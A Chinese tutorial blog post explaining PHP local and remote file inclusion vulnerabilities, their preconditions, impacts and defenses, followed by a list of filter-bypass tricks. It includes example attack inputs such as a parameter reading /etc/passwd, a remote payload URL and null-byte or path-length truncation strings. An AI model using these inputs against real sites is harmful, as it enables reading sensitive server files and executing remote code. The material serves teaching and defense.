[Web 安全]文件包含漏洞

漏洞原理

文件包含函数加载的参数没有经过过滤或严格的定义,可以被用户控制,包含了其他恶意文件,导致执行了非预期的代码。

PHP文件包含函数

  • include()

  • include_once()

  • require()

  • require_once()

文件包含漏洞分类

  • 本地文件包含

当包含的文件在服务器本地时,就形成了本地文件包含。

如:index.php?file=/etc/passwd

  • 远程文件包含

当包含的文件在远程服务器上时,就形成了远程文件包含。

如:index.php?file=http://192.168.70.7/payload.txt

利用条件:

  1. php.ini中allow_url_include = on

是否允许打开远程文件

  1. php.ini中allow_url_fopen = on

是否允许include、require远程文件

  1. 所包含远程服务器的文件后缀不能与目标服务器语言相同。(比如目标网站服务器是PHP脚本语言解析的,那么包含的远程服务器文件后缀不能是php)

漏洞危害

  1. 获取系统敏感信息

  1. 任意篡改网页信息

  1. 攻击其他服务器

防御方案

  1. 过滤. / \等特殊字符

  1. 日志、配置等重要文件夹不给执行权限

  1. 尽量不要将文件包含函数对应的文件放给前端选择和操作

  1. 使用open_basedir配置限制能够访问的区域

  1. 配置php.ini文件

allow_url_include = off
allow_url_fopen = off
magic_quotes_gpc = on
  1. 设置白名单,仅允许包含指定的文件

绕过手段

  1. URL编码

如果WAF中是字符串匹配,可以使用URL多次编码的方式绕过。

  1. 结尾添加特殊字符

某些情况下,读文件支持使用Shell通配符,如?* 空格等可能会影响include包含的结果。有时Unicode编码不同但字形相近的字符也有同样的效果。

  1. 路径长度截断

Windows:目录最大长度256字节,超出的部分将会丢弃

Linux:目录最大长度4096字节,超出的部分将会丢弃

如:index.php?file=payload.txt/./././././././././././././././././././(省略)

这种绕过方式要求php版本<5.2.8

  1. %00截断(绕过后端拼接后缀)

index.php?file=payload.txt%00

条件:PHP版本<5.3.4、PHP magic_quotes_gpc = off

如果开启了gpc或者使用了addslashes函数则会进行转义

  1. 点号截断

条件:Windows,点好需要长于256

如:index.php?file=payload.txt...............................................(省略)

  1. 协议绕过

allow_url_include、allow_url_fopen主要是针对HTTP、FTP两种协议起作用,因此可以使用SMB、WebDAV协议等方式绕过。

  1. 伪协议绕过

要求:allow_url_include = on、allow_url_fopen = on

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值